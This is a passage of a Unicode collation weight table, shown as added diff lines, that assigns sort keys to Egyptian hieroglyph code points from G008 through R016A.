+13149 ; [.4F5C.0020.0002] # EGYPTIAN HIEROGLYPH G008
+1314A ; [.4F5D.0020.0002] # EGYPTIAN HIEROGLYPH G009
+1314B ; [.4F5E.0020.0002] # EGYPTIAN HIEROGLYPH G010
+1314C ; [.4F5F.0020.0002] # EGYPTIAN HIEROGLYPH G011
+1314D ; [.4F60.0020.0002] # EGYPTIAN HIEROGLYPH G011A
+1314E ; [.4F61.0020.0002] # EGYPTIAN HIEROGLYPH G012
+1314F ; [.4F62.0020.0002] # EGYPTIAN HIEROGLYPH G013
+13150 ; [.4F63.0020.0002] # EGYPTIAN HIEROGLYPH G014
+13151 ; [.4F64.0020.0002] # EGYPTIAN HIEROGLYPH G015
+13152 ; [.4F65.0020.0002] # EGYPTIAN HIEROGLYPH G016
+13153 ; [.4F66.0020.0002] # EGYPTIAN HIEROGLYPH G017
+13154 ; [.4F67.0020.0002] # EGYPTIAN HIEROGLYPH G018
+13155 ; [.4F68.0020.0002] # EGYPTIAN HIEROGLYPH G019
+13156 ; [.4F69.0020.0002] # EGYPTIAN HIEROGLYPH G020
+13157 ; [.4F6A.0020.0002] # EGYPTIAN HIEROGLYPH G020A
+13158 ; [.4F6B.0020.0002] # EGYPTIAN HIEROGLYPH G021
+13159 ; [.4F6C.0020.0002] # EGYPTIAN HIEROGLYPH G022
+1315A ; [.4F6D.0020.0002] # EGYPTIAN HIEROGLYPH G023
+1315B ; [.4F6E.0020.0002] # EGYPTIAN HIEROGLYPH G024
+1315C ; [.4F6F.0020.0002] # EGYPTIAN HIEROGLYPH G025
+1315D ; [.4F70.0020.0002] # EGYPTIAN HIEROGLYPH G026
+1315E ; [.4F71.0020.0002] # EGYPTIAN HIEROGLYPH G026A
+1315F ; [.4F72.0020.0002] # EGYPTIAN HIEROGLYPH G027
+13160 ; [.4F73.0020.0002] # EGYPTIAN HIEROGLYPH G028
+13161 ; [.4F74.0020.0002] # EGYPTIAN HIEROGLYPH G029
+13162 ; [.4F75.0020.0002] # EGYPTIAN HIEROGLYPH G030
+13163 ; [.4F76.0020.0002] # EGYPTIAN HIEROGLYPH G031
+13164 ; [.4F77.0020.0002] # EGYPTIAN HIEROGLYPH G032
+13165 ; [.4F78.0020.0002] # EGYPTIAN HIEROGLYPH G033
+13166 ; [.4F79.0020.0002] # EGYPTIAN HIEROGLYPH G034
+13167 ; [.4F7A.0020.0002] # EGYPTIAN HIEROGLYPH G035
+13168 ; [.4F7B.0020.0002] # EGYPTIAN HIEROGLYPH G036
+13169 ; [.4F7C.0020.0002] # EGYPTIAN HIEROGLYPH G036A
+1316A ; [.4F7D.0020.0002] # EGYPTIAN HIEROGLYPH G037
+1316B ; [.4F7E.0020.0002] # EGYPTIAN HIEROGLYPH G037A
+1316C ; [.4F7F.0020.0002] # EGYPTIAN HIEROGLYPH G038
+1316D ; [.4F80.0020.0002] # EGYPTIAN HIEROGLYPH G039
+1316E ; [.4F81.0020.0002] # EGYPTIAN HIEROGLYPH G040
+1316F ; [.4F82.0020.0002] # EGYPTIAN HIEROGLYPH G041
+13170 ; [.4F83.0020.0002] # EGYPTIAN HIEROGLYPH G042
+13171 ; [.4F84.0020.0002] # EGYPTIAN HIEROGLYPH G043
+13172 ; [.4F85.0020.0002] # EGYPTIAN HIEROGLYPH G043A
+13173 ; [.4F86.0020.0002] # EGYPTIAN HIEROGLYPH G044
+13174 ; [.4F87.0020.0002] # EGYPTIAN HIEROGLYPH G045
+13175 ; [.4F88.0020.0002] # EGYPTIAN HIEROGLYPH G045A
+13176 ; [.4F89.0020.0002] # EGYPTIAN HIEROGLYPH G046
+13177 ; [.4F8A.0020.0002] # EGYPTIAN HIEROGLYPH G047
+13178 ; [.4F8B.0020.0002] # EGYPTIAN HIEROGLYPH G048
+13179 ; [.4F8C.0020.0002] # EGYPTIAN HIEROGLYPH G049
+1317A ; [.4F8D.0020.0002] # EGYPTIAN HIEROGLYPH G050
+1317B ; [.4F8E.0020.0002] # EGYPTIAN HIEROGLYPH G051
+1317C ; [.4F8F.0020.0002] # EGYPTIAN HIEROGLYPH G052
+1317D ; [.4F90.0020.0002] # EGYPTIAN HIEROGLYPH G053
+1317E ; [.4F91.0020.0002] # EGYPTIAN HIEROGLYPH G054
+1317F ; [.4F92.0020.0002] # EGYPTIAN HIEROGLYPH H001
+13180 ; [.4F93.0020.0002] # EGYPTIAN HIEROGLYPH H002
+13181 ; [.4F94.0020.0002] # EGYPTIAN HIEROGLYPH H003
+13182 ; [.4F95.0020.0002] # EGYPTIAN HIEROGLYPH H004
+13183 ; [.4F96.0020.0002] # EGYPTIAN HIEROGLYPH H005
+13184 ; [.4F97.0020.0002] # EGYPTIAN HIEROGLYPH H006
+13185 ; [.4F98.0020.0002] # EGYPTIAN HIEROGLYPH H006A
+13186 ; [.4F99.0020.0002] # EGYPTIAN HIEROGLYPH H007
+13187 ; [.4F9A.0020.0002] # EGYPTIAN HIEROGLYPH H008
+13188 ; [.4F9B.0020.0002] # EGYPTIAN HIEROGLYPH I001
+13189 ; [.4F9C.0020.0002] # EGYPTIAN HIEROGLYPH I002
+1318A ; [.4F9D.0020.0002] # EGYPTIAN HIEROGLYPH I003
+1318B ; [.4F9E.0020.0002] # EGYPTIAN HIEROGLYPH I004
+1318C ; [.4F9F.0020.0002] # EGYPTIAN HIEROGLYPH I005
+1318D ; [.4FA0.0020.0002] # EGYPTIAN HIEROGLYPH I005A
+1318E ; [.4FA1.0020.0002] # EGYPTIAN HIEROGLYPH I006
+1318F ; [.4FA2.0020.0002] # EGYPTIAN HIEROGLYPH I007
+13190 ; [.4FA3.0020.0002] # EGYPTIAN HIEROGLYPH I008
+13191 ; [.4FA4.0020.0002] # EGYPTIAN HIEROGLYPH I009
+13192 ; [.4FA5.0020.0002] # EGYPTIAN HIEROGLYPH I009A
+13193 ; [.4FA6.0020.0002] # EGYPTIAN HIEROGLYPH I010
+13194 ; [.4FA7.0020.0002] # EGYPTIAN HIEROGLYPH I010A
+13195 ; [.4FA8.0020.0002] # EGYPTIAN HIEROGLYPH I011
+13196 ; [.4FA9.0020.0002] # EGYPTIAN HIEROGLYPH I011A
+13197 ; [.4FAA.0020.0002] # EGYPTIAN HIEROGLYPH I012
+13198 ; [.4FAB.0020.0002] # EGYPTIAN HIEROGLYPH I013
+13199 ; [.4FAC.0020.0002] # EGYPTIAN HIEROGLYPH I014
+1319A ; [.4FAD.0020.0002] # EGYPTIAN HIEROGLYPH I015
+1319B ; [.4FAE.0020.0002] # EGYPTIAN HIEROGLYPH K001
+1319C ; [.4FAF.0020.0002] # EGYPTIAN HIEROGLYPH K002
+1319D ; [.4FB0.0020.0002] # EGYPTIAN HIEROGLYPH K003
+1319E ; [.4FB1.0020.0002] # EGYPTIAN HIEROGLYPH K004
+1319F ; [.4FB2.0020.0002] # EGYPTIAN HIEROGLYPH K005
+131A0 ; [.4FB3.0020.0002] # EGYPTIAN HIEROGLYPH K006
+131A1 ; [.4FB4.0020.0002] # EGYPTIAN HIEROGLYPH K007
+131A2 ; [.4FB5.0020.0002] # EGYPTIAN HIEROGLYPH K008
+131A3 ; [.4FB6.0020.0002] # EGYPTIAN HIEROGLYPH L001
+131A4 ; [.4FB7.0020.0002] # EGYPTIAN HIEROGLYPH L002
+131A5 ; [.4FB8.0020.0002] # EGYPTIAN HIEROGLYPH L002A
+131A6 ; [.4FB9.0020.0002] # EGYPTIAN HIEROGLYPH L003
+131A7 ; [.4FBA.0020.0002] # EGYPTIAN HIEROGLYPH L004
+131A8 ; [.4FBB.0020.0002] # EGYPTIAN HIEROGLYPH L005
+131A9 ; [.4FBC.0020.0002] # EGYPTIAN HIEROGLYPH L006
+131AA ; [.4FBD.0020.0002] # EGYPTIAN HIEROGLYPH L006A
+131AB ; [.4FBE.0020.0002] # EGYPTIAN HIEROGLYPH L007
+131AC ; [.4FBF.0020.0002] # EGYPTIAN HIEROGLYPH L008
+131AD ; [.4FC0.0020.0002] # EGYPTIAN HIEROGLYPH M001
+131AE ; [.4FC1.0020.0002] # EGYPTIAN HIEROGLYPH M001A
+131AF ; [.4FC2.0020.0002] # EGYPTIAN HIEROGLYPH M001B
+131B0 ; [.4FC3.0020.0002] # EGYPTIAN HIEROGLYPH M002
+131B1 ; [.4FC4.0020.0002] # EGYPTIAN HIEROGLYPH M003
+131B2 ; [.4FC5.0020.0002] # EGYPTIAN HIEROGLYPH M003A
+131B3 ; [.4FC6.0020.0002] # EGYPTIAN HIEROGLYPH M004
+131B4 ; [.4FC7.0020.0002] # EGYPTIAN HIEROGLYPH M005
+131B5 ; [.4FC8.0020.0002] # EGYPTIAN HIEROGLYPH M006
+131B6 ; [.4FC9.0020.0002] # EGYPTIAN HIEROGLYPH M007
+131B7 ; [.4FCA.0020.0002] # EGYPTIAN HIEROGLYPH M008
+131B8 ; [.4FCB.0020.0002] # EGYPTIAN HIEROGLYPH M009
+131B9 ; [.4FCC.0020.0002] # EGYPTIAN HIEROGLYPH M010
+131BA ; [.4FCD.0020.0002] # EGYPTIAN HIEROGLYPH M010A
+131BB ; [.4FCE.0020.0002] # EGYPTIAN HIEROGLYPH M011
+131BC ; [.4FCF.0020.0002] # EGYPTIAN HIEROGLYPH M012
+131BD ; [.4FD0.0020.0002] # EGYPTIAN HIEROGLYPH M012A
+131BE ; [.4FD1.0020.0002] # EGYPTIAN HIEROGLYPH M012B
+131BF ; [.4FD2.0020.0002] # EGYPTIAN HIEROGLYPH M012C
+131C0 ; [.4FD3.0020.0002] # EGYPTIAN HIEROGLYPH M012D
+131C1 ; [.4FD4.0020.0002] # EGYPTIAN HIEROGLYPH M012E
+131C2 ; [.4FD5.0020.0002] # EGYPTIAN HIEROGLYPH M012F
+131C3 ; [.4FD6.0020.0002] # EGYPTIAN HIEROGLYPH M012G
+131C4 ; [.4FD7.0020.0002] # EGYPTIAN HIEROGLYPH M012H
+131C5 ; [.4FD8.0020.0002] # EGYPTIAN HIEROGLYPH M013
+131C6 ; [.4FD9.0020.0002] # EGYPTIAN HIEROGLYPH M014
+131C7 ; [.4FDA.0020.0002] # EGYPTIAN HIEROGLYPH M015
+131C8 ; [.4FDB.0020.0002] # EGYPTIAN HIEROGLYPH M015A
+131C9 ; [.4FDC.0020.0002] # EGYPTIAN HIEROGLYPH M016
+131CA ; [.4FDD.0020.0002] # EGYPTIAN HIEROGLYPH M016A
+131CB ; [.4FDE.0020.0002] # EGYPTIAN HIEROGLYPH M017
+131CC ; [.4FDF.0020.0002] # EGYPTIAN HIEROGLYPH M017A
+131CD ; [.4FE0.0020.0002] # EGYPTIAN HIEROGLYPH M018
+131CE ; [.4FE1.0020.0002] # EGYPTIAN HIEROGLYPH M019
+131CF ; [.4FE2.0020.0002] # EGYPTIAN HIEROGLYPH M020
+131D0 ; [.4FE3.0020.0002] # EGYPTIAN HIEROGLYPH M021
+131D1 ; [.4FE4.0020.0002] # EGYPTIAN HIEROGLYPH M022
+131D2 ; [.4FE5.0020.0002] # EGYPTIAN HIEROGLYPH M022A
+131D3 ; [.4FE6.0020.0002] # EGYPTIAN HIEROGLYPH M023
+131D4 ; [.4FE7.0020.0002] # EGYPTIAN HIEROGLYPH M024
+131D5 ; [.4FE8.0020.0002] # EGYPTIAN HIEROGLYPH M024A
+131D6 ; [.4FE9.0020.0002] # EGYPTIAN HIEROGLYPH M025
+131D7 ; [.4FEA.0020.0002] # EGYPTIAN HIEROGLYPH M026
+131D8 ; [.4FEB.0020.0002] # EGYPTIAN HIEROGLYPH M027
+131D9 ; [.4FEC.0020.0002] # EGYPTIAN HIEROGLYPH M028
+131DA ; [.4FED.0020.0002] # EGYPTIAN HIEROGLYPH M028A
+131DB ; [.4FEE.0020.0002] # EGYPTIAN HIEROGLYPH M029
+131DC ; [.4FEF.0020.0002] # EGYPTIAN HIEROGLYPH M030
+131DD ; [.4FF0.0020.0002] # EGYPTIAN HIEROGLYPH M031
+131DE ; [.4FF1.0020.0002] # EGYPTIAN HIEROGLYPH M031A
+131DF ; [.4FF2.0020.0002] # EGYPTIAN HIEROGLYPH M032
+131E0 ; [.4FF3.0020.0002] # EGYPTIAN HIEROGLYPH M033
+131E1 ; [.4FF4.0020.0002] # EGYPTIAN HIEROGLYPH M033A
+131E2 ; [.4FF5.0020.0002] # EGYPTIAN HIEROGLYPH M033B
+131E3 ; [.4FF6.0020.0002] # EGYPTIAN HIEROGLYPH M034
+131E4 ; [.4FF7.0020.0002] # EGYPTIAN HIEROGLYPH M035
+131E5 ; [.4FF8.0020.0002] # EGYPTIAN HIEROGLYPH M036
+131E6 ; [.4FF9.0020.0002] # EGYPTIAN HIEROGLYPH M037
+131E7 ; [.4FFA.0020.0002] # EGYPTIAN HIEROGLYPH M038
+131E8 ; [.4FFB.0020.0002] # EGYPTIAN HIEROGLYPH M039
+131E9 ; [.4FFC.0020.0002] # EGYPTIAN HIEROGLYPH M040
+131EA ; [.4FFD.0020.0002] # EGYPTIAN HIEROGLYPH M040A
+131EB ; [.4FFE.0020.0002] # EGYPTIAN HIEROGLYPH M041
+131EC ; [.4FFF.0020.0002] # EGYPTIAN HIEROGLYPH M042
+131ED ; [.5000.0020.0002] # EGYPTIAN HIEROGLYPH M043
+131EE ; [.5001.0020.0002] # EGYPTIAN HIEROGLYPH M044
+131EF ; [.5002.0020.0002] # EGYPTIAN HIEROGLYPH N001
+131F0 ; [.5003.0020.0002] # EGYPTIAN HIEROGLYPH N002
+131F1 ; [.5004.0020.0002] # EGYPTIAN HIEROGLYPH N003
+131F2 ; [.5005.0020.0002] # EGYPTIAN HIEROGLYPH N004
+131F3 ; [.5006.0020.0002] # EGYPTIAN HIEROGLYPH N005
+131F4 ; [.5007.0020.0002] # EGYPTIAN HIEROGLYPH N006
+131F5 ; [.5008.0020.0002] # EGYPTIAN HIEROGLYPH N007
+131F6 ; [.5009.0020.0002] # EGYPTIAN HIEROGLYPH N008
+131F7 ; [.500A.0020.0002] # EGYPTIAN HIEROGLYPH N009
+131F8 ; [.500B.0020.0002] # EGYPTIAN HIEROGLYPH N010
+131F9 ; [.500C.0020.0002] # EGYPTIAN HIEROGLYPH N011
+131FA ; [.500D.0020.0002] # EGYPTIAN HIEROGLYPH N012
+131FB ; [.500E.0020.0002] # EGYPTIAN HIEROGLYPH N013
+131FC ; [.500F.0020.0002] # EGYPTIAN HIEROGLYPH N014
+131FD ; [.5010.0020.0002] # EGYPTIAN HIEROGLYPH N015
+131FE ; [.5011.0020.0002] # EGYPTIAN HIEROGLYPH N016
+131FF ; [.5012.0020.0002] # EGYPTIAN HIEROGLYPH N017
+13200 ; [.5013.0020.0002] # EGYPTIAN HIEROGLYPH N018
+13201 ; [.5014.0020.0002] # EGYPTIAN HIEROGLYPH N018A
+13202 ; [.5015.0020.0002] # EGYPTIAN HIEROGLYPH N018B
+13203 ; [.5016.0020.0002] # EGYPTIAN HIEROGLYPH N019
+13204 ; [.5017.0020.0002] # EGYPTIAN HIEROGLYPH N020
+13205 ; [.5018.0020.0002] # EGYPTIAN HIEROGLYPH N021
+13206 ; [.5019.0020.0002] # EGYPTIAN HIEROGLYPH N022
+13207 ; [.501A.0020.0002] # EGYPTIAN HIEROGLYPH N023
+13208 ; [.501B.0020.0002] # EGYPTIAN HIEROGLYPH N024
+13209 ; [.501C.0020.0002] # EGYPTIAN HIEROGLYPH N025
+1320A ; [.501D.0020.0002] # EGYPTIAN HIEROGLYPH N025A
+1320B ; [.501E.0020.0002] # EGYPTIAN HIEROGLYPH N026
+1320C ; [.501F.0020.0002] # EGYPTIAN HIEROGLYPH N027
+1320D ; [.5020.0020.0002] # EGYPTIAN HIEROGLYPH N028
+1320E ; [.5021.0020.0002] # EGYPTIAN HIEROGLYPH N029
+1320F ; [.5022.0020.0002] # EGYPTIAN HIEROGLYPH N030
+13210 ; [.5023.0020.0002] # EGYPTIAN HIEROGLYPH N031
+13211 ; [.5024.0020.0002] # EGYPTIAN HIEROGLYPH N032
+13212 ; [.5025.0020.0002] # EGYPTIAN HIEROGLYPH N033
+13213 ; [.5026.0020.0002] # EGYPTIAN HIEROGLYPH N033A
+13214 ; [.5027.0020.0002] # EGYPTIAN HIEROGLYPH N034
+13215 ; [.5028.0020.0002] # EGYPTIAN HIEROGLYPH N034A
+13216 ; [.5029.0020.0002] # EGYPTIAN HIEROGLYPH N035
+13217 ; [.502A.0020.0002] # EGYPTIAN HIEROGLYPH N035A
+13218 ; [.502B.0020.0002] # EGYPTIAN HIEROGLYPH N036
+13219 ; [.502C.0020.0002] # EGYPTIAN HIEROGLYPH N037
+1321A ; [.502D.0020.0002] # EGYPTIAN HIEROGLYPH N037A
+1321B ; [.502E.0020.0002] # EGYPTIAN HIEROGLYPH N038
+1321C ; [.502F.0020.0002] # EGYPTIAN HIEROGLYPH N039
+1321D ; [.5030.0020.0002] # EGYPTIAN HIEROGLYPH N040
+1321E ; [.5031.0020.0002] # EGYPTIAN HIEROGLYPH N041
+1321F ; [.5032.0020.0002] # EGYPTIAN HIEROGLYPH N042
+13220 ; [.5033.0020.0002] # EGYPTIAN HIEROGLYPH NL001
+13221 ; [.5034.0020.0002] # EGYPTIAN HIEROGLYPH NL002
+13222 ; [.5035.0020.0002] # EGYPTIAN HIEROGLYPH NL003
+13223 ; [.5036.0020.0002] # EGYPTIAN HIEROGLYPH NL004
+13224 ; [.5037.0020.0002] # EGYPTIAN HIEROGLYPH NL005
+13225 ; [.5038.0020.0002] # EGYPTIAN HIEROGLYPH NL005A
+13226 ; [.5039.0020.0002] # EGYPTIAN HIEROGLYPH NL006
+13227 ; [.503A.0020.0002] # EGYPTIAN HIEROGLYPH NL007
+13228 ; [.503B.0020.0002] # EGYPTIAN HIEROGLYPH NL008
+13229 ; [.503C.0020.0002] # EGYPTIAN HIEROGLYPH NL009
+1322A ; [.503D.0020.0002] # EGYPTIAN HIEROGLYPH NL010
+1322B ; [.503E.0020.0002] # EGYPTIAN HIEROGLYPH NL011
+1322C ; [.503F.0020.0002] # EGYPTIAN HIEROGLYPH NL012
+1322D ; [.5040.0020.0002] # EGYPTIAN HIEROGLYPH NL013
+1322E ; [.5041.0020.0002] # EGYPTIAN HIEROGLYPH NL014
+1322F ; [.5042.0020.0002] # EGYPTIAN HIEROGLYPH NL015
+13230 ; [.5043.0020.0002] # EGYPTIAN HIEROGLYPH NL016
+13231 ; [.5044.0020.0002] # EGYPTIAN HIEROGLYPH NL017
+13232 ; [.5045.0020.0002] # EGYPTIAN HIEROGLYPH NL017A
+13233 ; [.5046.0020.0002] # EGYPTIAN HIEROGLYPH NL018
+13234 ; [.5047.0020.0002] # EGYPTIAN HIEROGLYPH NL019
+13235 ; [.5048.0020.0002] # EGYPTIAN HIEROGLYPH NL020
+13236 ; [.5049.0020.0002] # EGYPTIAN HIEROGLYPH NU001
+13237 ; [.504A.0020.0002] # EGYPTIAN HIEROGLYPH NU002
+13238 ; [.504B.0020.0002] # EGYPTIAN HIEROGLYPH NU003
+13239 ; [.504C.0020.0002] # EGYPTIAN HIEROGLYPH NU004
+1323A ; [.504D.0020.0002] # EGYPTIAN HIEROGLYPH NU005
+1323B ; [.504E.0020.0002] # EGYPTIAN HIEROGLYPH NU006
+1323C ; [.504F.0020.0002] # EGYPTIAN HIEROGLYPH NU007
+1323D ; [.5050.0020.0002] # EGYPTIAN HIEROGLYPH NU008
+1323E ; [.5051.0020.0002] # EGYPTIAN HIEROGLYPH NU009
+1323F ; [.5052.0020.0002] # EGYPTIAN HIEROGLYPH NU010
+13240 ; [.5053.0020.0002] # EGYPTIAN HIEROGLYPH NU010A
+13241 ; [.5054.0020.0002] # EGYPTIAN HIEROGLYPH NU011
+13242 ; [.5055.0020.0002] # EGYPTIAN HIEROGLYPH NU011A
+13243 ; [.5056.0020.0002] # EGYPTIAN HIEROGLYPH NU012
+13244 ; [.5057.0020.0002] # EGYPTIAN HIEROGLYPH NU013
+13245 ; [.5058.0020.0002] # EGYPTIAN HIEROGLYPH NU014
+13246 ; [.5059.0020.0002] # EGYPTIAN HIEROGLYPH NU015
+13247 ; [.505A.0020.0002] # EGYPTIAN HIEROGLYPH NU016
+13248 ; [.505B.0020.0002] # EGYPTIAN HIEROGLYPH NU017
+13249 ; [.505C.0020.0002] # EGYPTIAN HIEROGLYPH NU018
+1324A ; [.505D.0020.0002] # EGYPTIAN HIEROGLYPH NU018A
+1324B ; [.505E.0020.0002] # EGYPTIAN HIEROGLYPH NU019
+1324C ; [.505F.0020.0002] # EGYPTIAN HIEROGLYPH NU020
+1324D ; [.5060.0020.0002] # EGYPTIAN HIEROGLYPH NU021
+1324E ; [.5061.0020.0002] # EGYPTIAN HIEROGLYPH NU022
+1324F ; [.5062.0020.0002] # EGYPTIAN HIEROGLYPH NU022A
+13250 ; [.5063.0020.0002] # EGYPTIAN HIEROGLYPH O001
+13251 ; [.5064.0020.0002] # EGYPTIAN HIEROGLYPH O001A
+13252 ; [.5065.0020.0002] # EGYPTIAN HIEROGLYPH O002
+13253 ; [.5066.0020.0002] # EGYPTIAN HIEROGLYPH O003
+13254 ; [.5067.0020.0002] # EGYPTIAN HIEROGLYPH O004
+13255 ; [.5068.0020.0002] # EGYPTIAN HIEROGLYPH O005
+13256 ; [.5069.0020.0002] # EGYPTIAN HIEROGLYPH O005A
+13257 ; [.506A.0020.0002] # EGYPTIAN HIEROGLYPH O006
+13258 ; [.506B.0020.0002] # EGYPTIAN HIEROGLYPH O006A
+13259 ; [.506C.0020.0002] # EGYPTIAN HIEROGLYPH O006B
+1325A ; [.506D.0020.0002] # EGYPTIAN HIEROGLYPH O006C
+1325B ; [.506E.0020.0002] # EGYPTIAN HIEROGLYPH O006D
+1325C ; [.506F.0020.0002] # EGYPTIAN HIEROGLYPH O006E
+1325D ; [.5070.0020.0002] # EGYPTIAN HIEROGLYPH O006F
+1325E ; [.5071.0020.0002] # EGYPTIAN HIEROGLYPH O007
+1325F ; [.5072.0020.0002] # EGYPTIAN HIEROGLYPH O008
+13260 ; [.5073.0020.0002] # EGYPTIAN HIEROGLYPH O009
+13261 ; [.5074.0020.0002] # EGYPTIAN HIEROGLYPH O010
+13262 ; [.5075.0020.0002] # EGYPTIAN HIEROGLYPH O010A
+13263 ; [.5076.0020.0002] # EGYPTIAN HIEROGLYPH O010B
+13264 ; [.5077.0020.0002] # EGYPTIAN HIEROGLYPH O010C
+13265 ; [.5078.0020.0002] # EGYPTIAN HIEROGLYPH O011
+13266 ; [.5079.0020.0002] # EGYPTIAN HIEROGLYPH O012
+13267 ; [.507A.0020.0002] # EGYPTIAN HIEROGLYPH O013
+13268 ; [.507B.0020.0002] # EGYPTIAN HIEROGLYPH O014
+13269 ; [.507C.0020.0002] # EGYPTIAN HIEROGLYPH O015
+1326A ; [.507D.0020.0002] # EGYPTIAN HIEROGLYPH O016
+1326B ; [.507E.0020.0002] # EGYPTIAN HIEROGLYPH O017
+1326C ; [.507F.0020.0002] # EGYPTIAN HIEROGLYPH O018
+1326D ; [.5080.0020.0002] # EGYPTIAN HIEROGLYPH O019
+1326E ; [.5081.0020.0002] # EGYPTIAN HIEROGLYPH O019A
+1326F ; [.5082.0020.0002] # EGYPTIAN HIEROGLYPH O020
+13270 ; [.5083.0020.0002] # EGYPTIAN HIEROGLYPH O020A
+13271 ; [.5084.0020.0002] # EGYPTIAN HIEROGLYPH O021
+13272 ; [.5085.0020.0002] # EGYPTIAN HIEROGLYPH O022
+13273 ; [.5086.0020.0002] # EGYPTIAN HIEROGLYPH O023
+13274 ; [.5087.0020.0002] # EGYPTIAN HIEROGLYPH O024
+13275 ; [.5088.0020.0002] # EGYPTIAN HIEROGLYPH O024A
+13276 ; [.5089.0020.0002] # EGYPTIAN HIEROGLYPH O025
+13277 ; [.508A.0020.0002] # EGYPTIAN HIEROGLYPH O025A
+13278 ; [.508B.0020.0002] # EGYPTIAN HIEROGLYPH O026
+13279 ; [.508C.0020.0002] # EGYPTIAN HIEROGLYPH O027
+1327A ; [.508D.0020.0002] # EGYPTIAN HIEROGLYPH O028
+1327B ; [.508E.0020.0002] # EGYPTIAN HIEROGLYPH O029
+1327C ; [.508F.0020.0002] # EGYPTIAN HIEROGLYPH O029A
+1327D ; [.5090.0020.0002] # EGYPTIAN HIEROGLYPH O030
+1327E ; [.5091.0020.0002] # EGYPTIAN HIEROGLYPH O030A
+1327F ; [.5092.0020.0002] # EGYPTIAN HIEROGLYPH O031
+13280 ; [.5093.0020.0002] # EGYPTIAN HIEROGLYPH O032
+13281 ; [.5094.0020.0002] # EGYPTIAN HIEROGLYPH O033
+13282 ; [.5095.0020.0002] # EGYPTIAN HIEROGLYPH O033A
+13283 ; [.5096.0020.0002] # EGYPTIAN HIEROGLYPH O034
+13284 ; [.5097.0020.0002] # EGYPTIAN HIEROGLYPH O035
+13285 ; [.5098.0020.0002] # EGYPTIAN HIEROGLYPH O036
+13286 ; [.5099.0020.0002] # EGYPTIAN HIEROGLYPH O036A
+13287 ; [.509A.0020.0002] # EGYPTIAN HIEROGLYPH O036B
+13288 ; [.509B.0020.0002] # EGYPTIAN HIEROGLYPH O036C
+13289 ; [.509C.0020.0002] # EGYPTIAN HIEROGLYPH O036D
+1328A ; [.509D.0020.0002] # EGYPTIAN HIEROGLYPH O037
+1328B ; [.509E.0020.0002] # EGYPTIAN HIEROGLYPH O038
+1328C ; [.509F.0020.0002] # EGYPTIAN HIEROGLYPH O039
+1328D ; [.50A0.0020.0002] # EGYPTIAN HIEROGLYPH O040
+1328E ; [.50A1.0020.0002] # EGYPTIAN HIEROGLYPH O041
+1328F ; [.50A2.0020.0002] # EGYPTIAN HIEROGLYPH O042
+13290 ; [.50A3.0020.0002] # EGYPTIAN HIEROGLYPH O043
+13291 ; [.50A4.0020.0002] # EGYPTIAN HIEROGLYPH O044
+13292 ; [.50A5.0020.0002] # EGYPTIAN HIEROGLYPH O045
+13293 ; [.50A6.0020.0002] # EGYPTIAN HIEROGLYPH O046
+13294 ; [.50A7.0020.0002] # EGYPTIAN HIEROGLYPH O047
+13295 ; [.50A8.0020.0002] # EGYPTIAN HIEROGLYPH O048
+13296 ; [.50A9.0020.0002] # EGYPTIAN HIEROGLYPH O049
+13297 ; [.50AA.0020.0002] # EGYPTIAN HIEROGLYPH O050
+13298 ; [.50AB.0020.0002] # EGYPTIAN HIEROGLYPH O050A
+13299 ; [.50AC.0020.0002] # EGYPTIAN HIEROGLYPH O050B
+1329A ; [.50AD.0020.0002] # EGYPTIAN HIEROGLYPH O051
+1329B ; [.50AE.0020.0002] # EGYPTIAN HIEROGLYPH P001
+1329C ; [.50AF.0020.0002] # EGYPTIAN HIEROGLYPH P001A
+1329D ; [.50B0.0020.0002] # EGYPTIAN HIEROGLYPH P002
+1329E ; [.50B1.0020.0002] # EGYPTIAN HIEROGLYPH P003
+1329F ; [.50B2.0020.0002] # EGYPTIAN HIEROGLYPH P003A
+132A0 ; [.50B3.0020.0002] # EGYPTIAN HIEROGLYPH P004
+132A1 ; [.50B4.0020.0002] # EGYPTIAN HIEROGLYPH P005
+132A2 ; [.50B5.0020.0002] # EGYPTIAN HIEROGLYPH P006
+132A3 ; [.50B6.0020.0002] # EGYPTIAN HIEROGLYPH P007
+132A4 ; [.50B7.0020.0002] # EGYPTIAN HIEROGLYPH P008
+132A5 ; [.50B8.0020.0002] # EGYPTIAN HIEROGLYPH P009
+132A6 ; [.50B9.0020.0002] # EGYPTIAN HIEROGLYPH P010
+132A7 ; [.50BA.0020.0002] # EGYPTIAN HIEROGLYPH P011
+132A8 ; [.50BB.0020.0002] # EGYPTIAN HIEROGLYPH Q001
+132A9 ; [.50BC.0020.0002] # EGYPTIAN HIEROGLYPH Q002
+132AA ; [.50BD.0020.0002] # EGYPTIAN HIEROGLYPH Q003
+132AB ; [.50BE.0020.0002] # EGYPTIAN HIEROGLYPH Q004
+132AC ; [.50BF.0020.0002] # EGYPTIAN HIEROGLYPH Q005
+132AD ; [.50C0.0020.0002] # EGYPTIAN HIEROGLYPH Q006
+132AE ; [.50C1.0020.0002] # EGYPTIAN HIEROGLYPH Q007
+132AF ; [.50C2.0020.0002] # EGYPTIAN HIEROGLYPH R001
+132B0 ; [.50C3.0020.0002] # EGYPTIAN HIEROGLYPH R002
+132B1 ; [.50C4.0020.0002] # EGYPTIAN HIEROGLYPH R002A
+132B2 ; [.50C5.0020.0002] # EGYPTIAN HIEROGLYPH R003
+132B3 ; [.50C6.0020.0002] # EGYPTIAN HIEROGLYPH R003A
+132B4 ; [.50C7.0020.0002] # EGYPTIAN HIEROGLYPH R003B
+132B5 ; [.50C8.0020.0002] # EGYPTIAN HIEROGLYPH R004
+132B6 ; [.50C9.0020.0002] # EGYPTIAN HIEROGLYPH R005
+132B7 ; [.50CA.0020.0002] # EGYPTIAN HIEROGLYPH R006
+132B8 ; [.50CB.0020.0002] # EGYPTIAN HIEROGLYPH R007
+132B9 ; [.50CC.0020.0002] # EGYPTIAN HIEROGLYPH R008
+132BA ; [.50CD.0020.0002] # EGYPTIAN HIEROGLYPH R009
+132BB ; [.50CE.0020.0002] # EGYPTIAN HIEROGLYPH R010
+132BC ; [.50CF.0020.0002] # EGYPTIAN HIEROGLYPH R010A
+132BD ; [.50D0.0020.0002] # EGYPTIAN HIEROGLYPH R011
+132BE ; [.50D1.0020.0002] # EGYPTIAN HIEROGLYPH R012
+132BF ; [.50D2.0020.0002] # EGYPTIAN HIEROGLYPH R013
+132C0 ; [.50D3.0020.0002] # EGYPTIAN HIEROGLYPH R014
+132C1 ; [.50D4.0020.0002] # EGYPTIAN HIEROGLYPH R015
+132C2 ; [.50D5.0020.0002] # EGYPTIAN HIEROGLYPH R016
+132C3 ; [.50D6.0020.0002] # EGYPTIAN HIEROGLYPH R016A
